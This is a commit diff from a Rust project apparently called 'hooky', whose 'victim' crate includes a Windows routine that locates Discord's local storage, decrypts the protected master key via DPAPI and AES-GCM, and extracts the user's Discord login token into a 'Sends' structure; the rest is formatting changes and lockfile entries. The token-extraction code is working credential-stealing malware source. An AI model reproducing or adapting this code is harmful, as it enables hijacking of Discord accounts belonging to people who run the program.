~/hooky

56785cc8f10ef84a53aac8033f5bb1c31e5464f1 — Arthur Melton 9c5255b2 2 years ago
format
M data/src/all_data/discord_chromium.rs => data/src/all_data/discord_chromium.rs +2 -2
@@ 5,12 5,12 @@ impl Sends {

    pub fn discord_chromium(&mut self) -> Option<()> {
        None
    }
    

    #[cfg(all(feature = "discord-chromium", target_os = "linux"))]
    pub fn discord_chromium(&mut self) -> Option<()> {
        None
    }
    

    #[cfg(all(feature = "discord-chromium", target_os = "macos"))]
    pub fn discord_chromium(&mut self) -> Option<()> {
        None

M data/src/all_data/discord_client.rs => data/src/all_data/discord_client.rs +31 -16
@@ 3,19 3,19 @@ use crate::Sends;

impl Sends {
    #[cfg(all(feature = "discord-client", target_os = "windows"))]
    pub fn discord_client(&mut self) -> Option<()> {
        use std::env;
        use std::path::PathBuf;
        use std::fs;
        use std::ffi::OsStr;
        use aes_gcm::{aead::Aead, Aes256Gcm, KeyInit, Nonce};
        use regex::bytes::Regex;
        use serde_json::Value;
        use winapi::um::dpapi::CryptUnprotectData;
        use std::env;
        use std::ffi::OsStr;
        use std::fs;
        use std::path::PathBuf;
        use std::ptr::null_mut;
        use winapi::um::wincrypt::CRYPTOAPI_BLOB;
        use std::slice;
        use winapi::um::winbase::LocalFree;
        use winapi::ctypes::c_void;
        use aes_gcm::{Aes256Gcm, KeyInit, Nonce, aead::Aead};
        use winapi::um::dpapi::CryptUnprotectData;
        use winapi::um::winbase::LocalFree;
        use winapi::um::wincrypt::CRYPTOAPI_BLOB;
        for i in &["discord", "discordcanary", "Litecord", "discordptb"] {
            let mut path = PathBuf::from(env::var("appdata").ok()?);
            for x in &[i, "Local Storage", "leveldb"] {

@@ 35,7 35,9 @@ impl Sends {

                            path.push("Local State");
                            let local_state = fs::read_to_string(path).ok()?;
                            let local_state: Value = serde_json::from_str(&local_state).ok()?;
                            let mut key = base64::decode(local_state["os_crypt"]["encrypted_key"].as_str()?).ok()?;
                            let mut key =
                                base64::decode(local_state["os_crypt"]["encrypted_key"].as_str()?)
                                    .ok()?;
                            let key = &mut key[5..];
                            let mut data_in = CRYPTOAPI_BLOB {
                                cbData: key.len() as u32,

@@ 43,12 45,24 @@ impl Sends {

                            };
                            let mut data_out = CRYPTOAPI_BLOB {
                                cbData: 0,
                                pbData: null_mut()
                                pbData: null_mut(),
                            };
                            let master_key;
                            unsafe {
                                CryptUnprotectData(&mut data_in, null_mut(), null_mut(), null_mut(), null_mut(), 0, &mut data_out);
                                master_key = slice::from_raw_parts(data_out.pbData, data_out.cbData as usize).to_vec();
                                CryptUnprotectData(
                                    &mut data_in,
                                    null_mut(),
                                    null_mut(),
                                    null_mut(),
                                    null_mut(),
                                    0,
                                    &mut data_out,
                                );
                                master_key = slice::from_raw_parts(
                                    data_out.pbData,
                                    data_out.cbData as usize,
                                )
                                .to_vec();
                                LocalFree(data_out.pbData as *mut c_void);
                            }
                            let iv = &asm.clone()[3..15];

@@ 57,22 71,23 @@ impl Sends {

                            let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
                            let token = decrypted.ok()?;
                            let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
                            self.discord_client_token = Some(String::from_utf8(token.to_vec()).ok()?);
                            self.discord_client_token =
                                Some(String::from_utf8(token.to_vec()).ok()?);
                            break;
                        }
                    }
                },
                }
                Err(_) => {}
            }
        }
        Some(())
    }
    

    #[cfg(all(feature = "discord-client", target_os = "linux"))]
    pub fn discord_client(&mut self) -> Option<()> {
        None
    }
    

    #[cfg(all(feature = "discord-client", target_os = "macos"))]
    pub fn discord_client(&mut self) -> Option<()> {
        None

M data/src/all_data/discord_firefox.rs => data/src/all_data/discord_firefox.rs +2 -2
@@ 5,12 5,12 @@ impl Sends {

    pub fn discord_firfox(&mut self) -> Option<()> {
        None
    }
    

    #[cfg(all(feature = "discord-firefox", target_os = "linux"))]
    pub fn discord_firefox(&mut self) -> Option<()> {
        None
    }
    

    #[cfg(all(feature = "discord-firefox", target_os = "macos"))]
    pub fn discord_firefox(&mut self) -> Option<()> {
        None

M victim/Cargo.lock => victim/Cargo.lock +207 -24
@@ 3,37 3,63 @@

version = 3

[[package]]
name = "aho-corasick"
version = "0.7.20"
name = "aead"
version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac"
checksum = "5c192eb8f11fc081b0fe4259ba5af04217d4e0faddd02417310a927911abd7c8"
dependencies = [
 "memchr",
 "crypto-common",
 "generic-array",
]

[[package]]
name = "bincode"
version = "1.3.3"
name = "aes"
version = "0.8.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241"
dependencies = [
 "serde",
 "cfg-if",
 "cipher",
 "cpufeatures",
]

[[package]]
name = "bit-set"
version = "0.5.3"
name = "aes-gcm"
version = "0.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "82e1366e0c69c9f927b1fa5ce2c7bf9eafc8f9268c0b9800729e8b267612447c"
dependencies = [
 "aead",
 "aes",
 "cipher",
 "ctr",
 "ghash",
 "subtle",
]

[[package]]
name = "aho-corasick"
version = "0.7.20"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1"
checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac"
dependencies = [
 "bit-vec",
 "memchr",
]

[[package]]
name = "bit-vec"
version = "0.6.3"
name = "base64"
version = "0.20.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb"
checksum = "0ea22880d78093b0cbe17c89f64a7d457941e65759157ec6cb31a31d652b05e5"

[[package]]
name = "bincode"
version = "1.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
dependencies = [
 "serde",
]

[[package]]
name = "bitflags"

@@ 48,6 74,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index"

checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"

[[package]]
name = "cipher"
version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d1873270f8f7942c191139cb8a40fd228da6c3fd2fc376d7e92d47aa14aeb59e"
dependencies = [
 "crypto-common",
 "inout",
]

[[package]]
name = "config"
version = "0.1.0"
dependencies = [

@@ 56,22 92,45 @@ dependencies = [

]

[[package]]
name = "data"
version = "0.1.0"
name = "cpufeatures"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "28d997bd5e24a5928dd43e46dc529867e207907fe0b239c3477d924f7f2ca320"
dependencies = [
 "fancy-regex",
 "serde",
 "serde_derive",
 "libc",
]

[[package]]
name = "fancy-regex"
version = "0.10.0"
name = "crypto-common"
version = "0.1.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0678ab2d46fa5195aaf59ad034c083d351377d4af57f3e073c074d0da3e3c766"
checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
dependencies = [
 "bit-set",
 "generic-array",
 "rand_core",
 "typenum",
]

[[package]]
name = "ctr"
version = "0.9.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
dependencies = [
 "cipher",
]

[[package]]
name = "data"
version = "0.1.0"
dependencies = [
 "aes-gcm",
 "base64",
 "regex",
 "serde",
 "serde_derive",
 "serde_json",
 "winapi",
]

[[package]]

@@ 84,6 143,46 @@ dependencies = [

]

[[package]]
name = "generic-array"
version = "0.14.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bff49e947297f3312447abdca79f45f4738097cc82b06e72054d2223f601f1b9"
dependencies = [
 "typenum",
 "version_check",
]

[[package]]
name = "getrandom"
version = "0.2.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31"
dependencies = [
 "cfg-if",
 "libc",
 "wasi",
]

[[package]]
name = "ghash"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d930750de5717d2dd0b8c0d42c076c0e884c81a73e6cab859bbd2339c71e3e40"
dependencies = [
 "opaque-debug",
 "polyval",
]

[[package]]
name = "inout"
version = "0.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
dependencies = [
 "generic-array",
]

[[package]]
name = "instant"
version = "0.1.12"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 93,6 192,12 @@ dependencies = [

]

[[package]]
name = "itoa"
version = "1.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fad582f4b9e86b6caa621cabeb0963332d92eea04729ab12892c2533951e6440"

[[package]]
name = "libc"
version = "0.2.139"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 105,6 210,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index"

checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"

[[package]]
name = "opaque-debug"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"

[[package]]
name = "polyval"
version = "0.6.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7ef234e08c11dfcb2e56f79fd70f6f2eb7f025c0ce2333e82f4f0518ecad30c6"
dependencies = [
 "cfg-if",
 "cpufeatures",
 "opaque-debug",
 "universal-hash",
]

[[package]]
name = "proc-macro2"
version = "1.0.49"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 123,6 246,15 @@ dependencies = [

]

[[package]]
name = "rand_core"
version = "0.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
dependencies = [
 "getrandom",
]

[[package]]
name = "redox_syscall"
version = "0.2.16"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 158,6 290,12 @@ dependencies = [

]

[[package]]
name = "ryu"
version = "1.0.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7b4b9743ed687d4b4bcedf9ff5eaa7398495ae14e61cba0a295704edbc7decde"

[[package]]
name = "serde"
version = "1.0.152"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 175,6 313,23 @@ dependencies = [

]

[[package]]
name = "serde_json"
version = "1.0.91"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "877c235533714907a8c2464236f5c4b2a17262ef1bd71f38f35ea592c8da6883"
dependencies = [
 "itoa",
 "ryu",
 "serde",
]

[[package]]
name = "subtle"
version = "2.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"

[[package]]
name = "syn"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 209,12 364,34 @@ dependencies = [

]

[[package]]
name = "typenum"
version = "1.16.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"

[[package]]
name = "unicode-ident"
version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc"

[[package]]
name = "universal-hash"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7d3160b73c9a19f7e2939a2fdad446c57c1bbbbf4d919d3213ff1267a580d8b5"
dependencies = [
 "crypto-common",
 "subtle",
]

[[package]]
name = "version_check"
version = "0.9.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"

[[package]]
name = "victim"
version = "0.1.0"
dependencies = [

@@ 228,6 405,12 @@ dependencies = [

]

[[package]]
name = "wasi"
version = "0.11.0+wasi-snapshot-preview1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"

[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"